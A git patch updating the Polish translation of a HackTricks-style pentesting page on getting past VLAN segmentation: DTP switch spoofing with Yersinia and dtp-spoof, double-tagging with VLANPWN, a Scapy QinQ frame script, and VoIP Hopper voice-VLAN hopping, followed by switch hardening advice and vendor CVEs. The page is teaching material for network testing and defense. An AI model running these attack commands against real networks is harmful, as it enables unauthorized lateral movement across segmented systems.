From 48f2003abcdf41df9b0d367d823bd44ec80d1e54 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 12:39:16 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- .../lateral-vlan-segmentation-bypass.md | 85 ++++++++++++++----- 1 file changed, 63 insertions(+), 22 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 9ae203cd1..80e372480 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -10,7 +10,7 @@ Początkowo konieczne jest zidentyfikowanie konkretnego podłączonego portu. Za ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` -Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów oraz określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10. +Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów i określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10. ``` SW1# show vlan brief ``` @@ -24,6 +24,7 @@ Przełączenie na tryb trunk spowoduje tymczasowe zakłócenie łączności, ale Następnie tworzone są wirtualne interfejsy, przypisywane są identyfikatory VLAN i aktywowane: ```bash +# Legacy (vconfig) – still works but deprecated in modern kernels sudo vconfig add eth0 10 sudo vconfig add eth0 20 sudo vconfig add eth0 50 @@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up + +# Modern (ip-link – preferred) +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.10 type vlan id 10 +sudo ip link add link eth0 name eth0.20 type vlan id 20 +sudo ip link set eth0.10 up +sudo ip link set eth0.20 up +sudo dhclient -v eth0.50 +sudo dhclient -v eth0.60 ``` Następnie żądanie adresu jest wysyłane za pomocą DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 -sudo dhclient -v eth0.50 -sudo dhclient -v eth0.60 ``` Przykład ręcznego ustawiania statycznego adresu IP na interfejsie (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 +# or +sudo ip addr add 10.10.10.66/24 dev eth0.10 ``` Łączność jest testowana poprzez inicjowanie żądań ICMP do domowych bramek dla VLAN-ów 10, 20, 50 i 60. @@ -61,22 +71,29 @@ Przełączniki Cisco, które mają włączony DTP, chętnie negocjują trunk, je *Yersinia* i kilka PoC automatyzują ten proces: ```bash # Become a trunk using Yersinia (GUI) -$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking +sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof) -$ git clone https://github.com/fleetcaptain/dtp-spoof.git -$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +git clone https://github.com/fleetcaptain/dtp-spoof.git +sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` -Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przejść dokładnie tak, jak pokazano w poprzedniej sekcji. Nowoczesne jądra Linuksa nie wymagają już *vconfig*; zamiast tego użyj *ip link*: +Recon helper (pasywne identyfikowanie stanu DTP portu): ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip link set eth0.30 up -``` -### 2. Double-Tagging (Native-VLAN Abuse) -Jeśli atakujący znajduje się w **native (untagged) VLAN**, stworzona ramka z *dwoma* nagłówkami 802.1Q może "przeskoczyć" do drugiego VLAN, nawet gdy port jest zablokowany w trybie dostępu. Narzędzia takie jak **VLANPWN DoubleTagging.py** (odświeżenie 2022-2024) automatyzują wstrzykiwanie: +# or + +wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py +sudo python3 dtpscan.py -i eth0 +``` +Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przejść dokładnie tak, jak pokazano w poprzedniej sekcji. + +### 2. Double-Tagging (Nadużycie Native-VLAN) + +Jeśli atakujący znajduje się na **native (untagged) VLAN**, skonstruowana ramka z *dwoma* nagłówkami 802.1Q może przeskoczyć do drugiego VLAN, nawet gdy port jest zablokowany w trybie dostępu. Narzędzia takie jak **VLANPWN DoubleTagging.py** (odświeżenie 2022-2025) automatyzują wstrzykiwanie: ```bash python3 DoubleTagging.py \ --interface eth0 \ @@ -85,15 +102,9 @@ python3 DoubleTagging.py \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` -Przechodzenie pakietów: -1. Zewnętrzny tag (1) jest usuwany przez pierwszy switch, ponieważ pasuje do natywnego VLAN. -2. Wewnętrzny tag (20) jest teraz odsłonięty; ramka jest przesyłana na trunk w kierunku VLAN 20. - -Technika ta nadal działa w 2025 roku w sieciach, które pozostawiają natywny VLAN na domyślnym poziomie i akceptują ramki bez tagów. - ### 3. QinQ (802.1ad) Stacking -Wiele rdzeni przedsiębiorstw obsługuje *Q-in-Q* enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla etyki 802.1ad 0x88a8 i spróbuj usunąć zewnętrzny tag za pomocą Scapy: +Wiele rdzeni przedsiębiorstw obsługuje *Q-in-Q* enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla ethertype `0x88a8` i spróbuj usunąć zewnętrzny tag za pomocą Scapy: ```python from scapy.all import * outer = 100 # Service tag @@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ frame = Dot1Q(type=0x88a8, vlan=outer)/payload sendp(frame, iface="eth0") ``` +### 4. Przechwytywanie Voice-VLAN za pomocą LLDP/CDP (Fałszowanie IP-Phone) + +Porty dostępu w firmach często znajdują się w konfiguracji *„dostęp + głos”*: nieoznakowany VLAN danych dla stacji roboczej i oznakowany VLAN głosowy ogłaszany przez CDP lub LLDP-MED. Poprzez podszywanie się pod telefon IP, atakujący może automatycznie odkryć i przejść do VLAN VoIP — nawet gdy DTP jest wyłączone. + +*VoIP Hopper* (zapakowany w Kali 2025.2) obsługuje CDP, opcje DHCP **176/242** oraz pełne fałszowanie LLDP-MED: +```bash +# One-shot discovery & hop +sudo voiphopper -i eth0 -f cisco-7940 + +# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt) +sudo voiphopper -i eth0 -z + +# Result: new sub-interface eth0. with a DHCP or static address inside the voice VLAN +``` +Technika ta omija separację danych/głosu i jest niezwykle powszechna w przełącznikach brzegowych przedsiębiorstw w 2025 roku, ponieważ auto-polityka LLDP jest domyślnie włączona w wielu modelach. + --- ## Rekomendacje obronne 1. Wyłącz DTP na wszystkich portach skierowanych do użytkowników: `switchport mode access` + `switchport nonegotiate`. 2. Zmień natywny VLAN na każdym trunku na **niewykorzystany, czarny VLAN** i oznacz go: `vlan dot1q tag native`. -3. Prune'uj niepotrzebne VLANy na trunkach: `switchport trunk allowed vlan 10,20`. -4. Wymuś bezpieczeństwo portów, DHCP snooping i dynamiczną inspekcję ARP, aby ograniczyć nieautoryzowaną aktywność warstwy 2. -5. Preferuj private-VLANs lub segmentację L3 zamiast polegać wyłącznie na separacji 802.1Q. +3. Przytnij niepotrzebne VLANy na trunkach: `switchport trunk allowed vlan 10,20`. +4. Wprowadź zabezpieczenia portów, DHCP snooping, dynamiczną inspekcję ARP **i 802.1X**, aby ograniczyć nieautoryzowaną aktywność warstwy 2. +5. Wyłącz polityki automatycznego głosu LLDP-MED (lub zablokuj je do uwierzytelnionych MAC OUI), jeśli spoofing telefonów IP nie jest wymagany. +6. Preferuj prywatne VLANy lub segmentację L3 zamiast polegać wyłącznie na separacji 802.1Q. --- -## Odniesienia +## Wrażliwości dostawców w rzeczywistym świecie (2022-2024) + +Nawet idealnie zabezpieczona konfiguracja przełącznika może być podważona przez błędy oprogramowania układowego. Ostatnie przykłady obejmują: + +* **CVE-2022-20728† – Cisco Aironet/Catalyst Access Points** pozwalają na wstrzykiwanie z natywnego VLAN do nienatywnych VLANów WLAN, omijając segmentację przewodową/bezwładną. +* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** pozwala na obejście ACL na SVI po przełączeniu protokołu Ethernet Resilient, wyciekając ruch między VRF/VLAN. Łatka 17.9.5 lub nowsza. + +Zawsze monitoruj zalecenia dostawcy dotyczące problemów z omijaniem/ACL związanych z VLAN i utrzymuj aktualne obrazy infrastruktury. + +--- + +## Odnośniki - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - VLANPWN attack toolkit – -- Twingate "Czym jest VLAN Hopping?" (sierpień 2024) – +- Twingate "What is VLAN Hopping?" (Aug 2024) – +- VoIP Hopper project – +- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – {{#include ../../banners/hacktricks-training.md}}